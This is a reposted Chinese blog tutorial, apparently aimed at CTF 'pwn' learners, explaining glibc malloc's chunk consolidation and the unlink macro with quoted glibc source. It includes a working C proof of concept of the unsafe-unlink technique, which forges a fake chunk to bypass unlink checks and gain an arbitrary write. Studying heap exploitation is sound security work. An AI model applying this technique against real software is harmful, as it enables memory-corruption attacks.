Glibc堆块的向前向后合并与unlink原理机制探究

最新推荐文章于 2023-06-27 15:10:56 发布

weixin_44304686

最新推荐文章于 2023-06-27 15:10:56 发布

阅读量274

点赞数

分类专栏：技术学习文章标签：技术

技术学习专栏收录该内容

15 篇文章 1 订阅

订阅专栏

原文地址：https://bbs.ichunqiu.com/thread-46614-1-1.html?from=snew

玩pwn有一段时间了，最近有点生疏了，调起来都不顺手了，所以读读malloc源码回炉一点一点总结反思下。

Unlink是把free掉的chunk从所属的bins链中，卸下来的操作（当然还包括一系列的检测机制），它是在free掉一块chunk(除fastbin大小的chunk外）之后，glibc检查这块chunk相邻的上下两块chunk的free状态之后，做出的向后合并或者向前合并引起的。

向前、向后合并

p是指向free掉的chunk的指针（注意不是指向data的指针，是chunk），size是这块chunk的size。

/* consolidate backward */
4277            if (!prev_inuse(p)) {
4278              prevsize = prev_size (p);
4279              size += prevsize;
4280              p = chunk_at_offset(p, -((long) prevsize));
4281              unlink(av, p, bck, fwd);
4282            }
4283        
4284            if (nextchunk != av->top) {
4285              /* get and clear inuse bit */
4286              nextinuse = inuse_bit_at_offset(nextchunk, nextsize);
4287        
4288              /* consolidate forward */
4289              if (!nextinuse) {
4290                unlink(av, nextchunk, bck, fwd);
4291                size += nextsize;
4292              } else
4293                clear_inuse_bit_at_offset(nextchunk, 0);
4294
4295              /*
4296                Place the chunk in unsorted chunk list. Chunks are
4297                not placed into regular bins until after they have
4298                been given one chance to be used in malloc.
4299              */
4300        
4301              bck = unsorted_chunks(av);
4302              fwd = bck->fd;
4303              if (__glibc_unlikely (fwd->bk != bck))
4304                malloc_printerr ("free(): corrupted unsorted chunks");
4305              p->fd = fwd;
4306              p->bk = bck;
4307              if (!in_smallbin_range(size))
4308                {
4309                  p->fd_nextsize = NULL;
4310                  p->bk_nextsize = NULL;
4311                }
4312              bck->fd = p;
4313              fwd->bk = p;
4314        
4315              set_head(p, size | PREV_INUSE);
4316              set_foot(p, size);
4317        
4318              check_free_chunk(av, p);
4319            }
4320        
4321            /*
4322              If the chunk borders the current high end of memory,
4323              consolidate into top
4324            */
4325        
4326            else {
4327              size += nextsize;
4328              set_head(p, size | PREV_INUSE);
4329              av->top = p;
4330              check_chunk(av, p);
4331            }

向后合并

向后合并部分的代码在4277-4282行

向后合并流程：

检查p指向chunk的size字段的pre_inuse位，是否为0（也就是检查当前chunk的前一块chunk是否是free的，如果是则进入向前合并的流程)
获取前一块chunk的size，并加到size中（以此来表示size大小上已经合并）
根据当前chunk的presize来获得指向前一块chunk的指针
将这个指针传入unlink的宏（也就是让free掉的chunk的前一块chunk进入到unlink流程）

向前合并

如果free掉的chunk相邻的下一块chunk(下面用nextchunk表示，并且nextsize表示它的大小)不是topchunk,并且是free的话就进入向前合并的流程。（见代码4284-4289行）

如果nextchunk不是free的，则修改他的size字段的pre_inuse位。
如果nextchunk是topchunk则和topchunk进行合并。

ps:检测nextchunk是否free，是通过*inuse_bit_at_offset(nextchunk, nextsize)*来获得nextchunk的相邻下一块chunk的size字段的presize位实现的。

向前合并流程（见代码4290-4291）：

让nextchunk进入unlink流程
给size加上nextsize（同理也是表示大小上两个chunk已经合并了）

unlink

unlink是个宏，但是在读代码的时候请把bk和fd当作变量。

ps:p是指向chunk的指针。

#define unlink(AV, P, BK, FD) {                                            
            if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0))      
              malloc_printerr ("corrupted size vs. prev_size");                              
            FD = P->fd;                                                                      
            BK = P->bk;                                                                      
            if (__builtin_expect (FD->bk != P || BK->fd != P, 0))                      
              malloc_printerr ("corrupted double-linked list");                              
            else {                                                                      
                FD->bk = BK;                                                              
                BK->fd = FD;                                                              
                if (!in_smallbin_range (chunksize_nomask (P))                             
                    && __builtin_expect (P->fd_nextsize != NULL, 0)) {                      
                    if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0)              
                        || __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0))    
                      malloc_printerr ("corrupted double-linked list (not small)");   
                    if (FD->fd_nextsize == NULL) {                                      
                        if (P->fd_nextsize == P)                                      
                          FD->fd_nextsize = FD->bk_nextsize = FD;                      
                        else {                                                              
                            FD->fd_nextsize = P->fd_nextsize;                              
                            FD->bk_nextsize = P->bk_nextsize;                              
                            P->fd_nextsize->bk_nextsize = FD;                              
                            P->bk_nextsize->fd_nextsize = FD;                              
                          }                                                              
                      } else {                                                              
                        P->fd_nextsize->bk_nextsize = P->bk_nextsize;                      
                        P->bk_nextsize->fd_nextsize = P->fd_nextsize;                      
                      }                                                                                   }                                                                      \
              }                                                                              
        }

检查当前chunk的size字段与它相邻的下一块chunk中记录的pre_size是否一样如果不一样，就出现corrupted size vs. prev_size的错误
检查是否满足p->fd->bkp和p->bk->fdp，否则出现corrupted double-linked list，错误。
解链操作：fd->bk=bk和bk->fd=fd(学过循环双链表的都能看懂吧）

这里配上一张CTFwiki的图:

在这里插入图片描述

接下来的代码其实是对largechunk的一系列检测和处理机制，这里可以不用管,一般实战利用的时候都是对smallchunk进行利用的。

以上就是unlink的操作，本质上就是从glibc管理的bin链中解链以及解链前的安全检查（防止被利用）

那unlink之后又做了什么呢？

整理chunk结构并放入unsortedbin当中

不管是向前合并还是向后合并，unlink后都会来到4301-4318行。

其实做的是，将合并好的chunk加入到unsorted bin中第一个

并且如果这个chunk是samll chunk大小的话它是没有fd_nextsize和bk_nextsize的

然后就设置合并过后的chunk的头部（设置合并过后的size,已经合并形成的chunk的下一块chunk的pre_size字段）

unlink Demo调试验证

理论上面已经谈过了，but**Talk is cheap,Debug is real!**先来个小demo结合上面的原理感受下。

#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <stdio.h>

struct chunk_structure {
  size_t prev_size;
  size_t size;
  struct chunk_structure *fd;
  struct chunk_structure *bk;
  char buf[10];               // padding
};

int main() {
  unsigned long long *chunk1, *chunk2;
  struct chunk_structure *fake_chunk, *chunk2_hdr;
  char data[20];

  // First grab two chunks (non fast)
  chunk1 = malloc(0x80);
  chunk2 = malloc(0x80);
  printf("%p\n", &chunk1);
  printf("%p\n", chunk1);
  printf("%p\n", chunk2);

  // Assuming attacker has control over chunk1's contents
  // Overflow the heap, override chunk2's header

  // First forge a fake chunk starting at chunk1
  // Need to setup fd and bk pointers to pass the unlink security check
  fake_chunk = (struct chunk_structure *)chunk1;
  fake_chunk->fd = (struct chunk_structure *)(&chunk1 - 3); // Ensures P->fd->bk == P
  fake_chunk->bk = (struct chunk_structure *)(&chunk1 - 2); // Ensures P->bk->fd == P

  // Next modify the header of chunk2 to pass all security checks
  chunk2_hdr = (struct chunk_structure *)(chunk2 - 2);
  chunk2_hdr->prev_size = 0x80;  // chunk1's data region size
  chunk2_hdr->size &= ~1;        // Unsetting prev_in_use bit

  // Now, when chunk2 is freed, attacker's fake chunk is 'unlinked'
  // This results in chunk1 pointer pointing to chunk1 - 3
  // i.e. chunk1[3] now contains chunk1 itself.
  // We then make chunk1 point to some victim's data
  free(chunk2);
  printf("%p\n", chunk1);
  printf("%x\n", chunk1[3]);

  chunk1[3] = (unsigned long long)data;

  strcpy(data, "Victim's data");

  // Overwrite victim's data using chunk1
  chunk1[0] = 0x002164656b636168LL;

  printf("%s\n", data);

  return 0;
}

ps:**在这个Demo中假定chun1的数据内容是被攻击者可控的并且可以溢出修改到下面一个chunk

先malloc两个chunk，然后看看他们的地址

然后在chunk1中伪造一个chunk,使得fake_chunk->fd->bkfakechunk和fake_chunk->bd->fdfake_chunk来避过corrupted double-linked list检测。
因为要使得fake_chunk->fd—>bk==fakechunk的话，要使得fake_chunk->fd里面存的是存有chunk1的地址的变量往上偏移0x18,同理fake_chunk->bk也是要网上偏移0x10的。

在这里插入图片描述

然后修改好chunk2的presize字段为0x80就是chunk1的数据大小（用来避过corrupted size vs.
prev_size检测的），和size字段的preinuse位为0（），从而达到欺骗glibc的机制，让它一位chunk2的前一块chunk（也就是chunk1）是free的，并且满足unlink所有的安全机制。这时候free掉chunk2的话就会触发向后合并。

在这里插入图片描述

看一看chunk1和chunk2的情况。以及完全构造好了。接下来就是free(chunk2)触发unlink。触发之后

在这里插入图片描述

chunk1的内容变成了&chunk1-3了。

这是因为fake_chunk->bk->fd=fake_chunk->fd,前面已经讲过fake_chunk->bk->fd指的是chunk1,而fake_chunk->fd指的是&chunk1-0x10.所以一unlink过后,chunk1里边存的是&chunk1-0x10的地址。
看看里边的内容：

在这里插入图片描述

画线的地方是chunk2存的内容，无疑是栈上的东西了。而它前一个8字节存的就是chunk1存的地址0x00007fffffffdcb8,对吧自己算算地址，不就是&chunk1-0x18了么。

weixin_44304686

关注

0
点赞
踩
2

收藏

觉得还不错? 一键收藏
0
评论
Glibc堆块的向前向后合并与unlink原理机制探究

原文链接：https://bbs.ichunqiu.com/thread-46614-1-1.html?from=snew玩pwn有一段时间了，最近有点生疏了，调起来都不顺手了，所以读读malloc源码回炉一点一点总结反思下。Unlink是把free掉的chunk从所属的bins链中，卸下来的操作（当然还包括一系列的检测机制），它是在free掉一块chunk(除fastbin大小的chunk外...
复制链接

扫一扫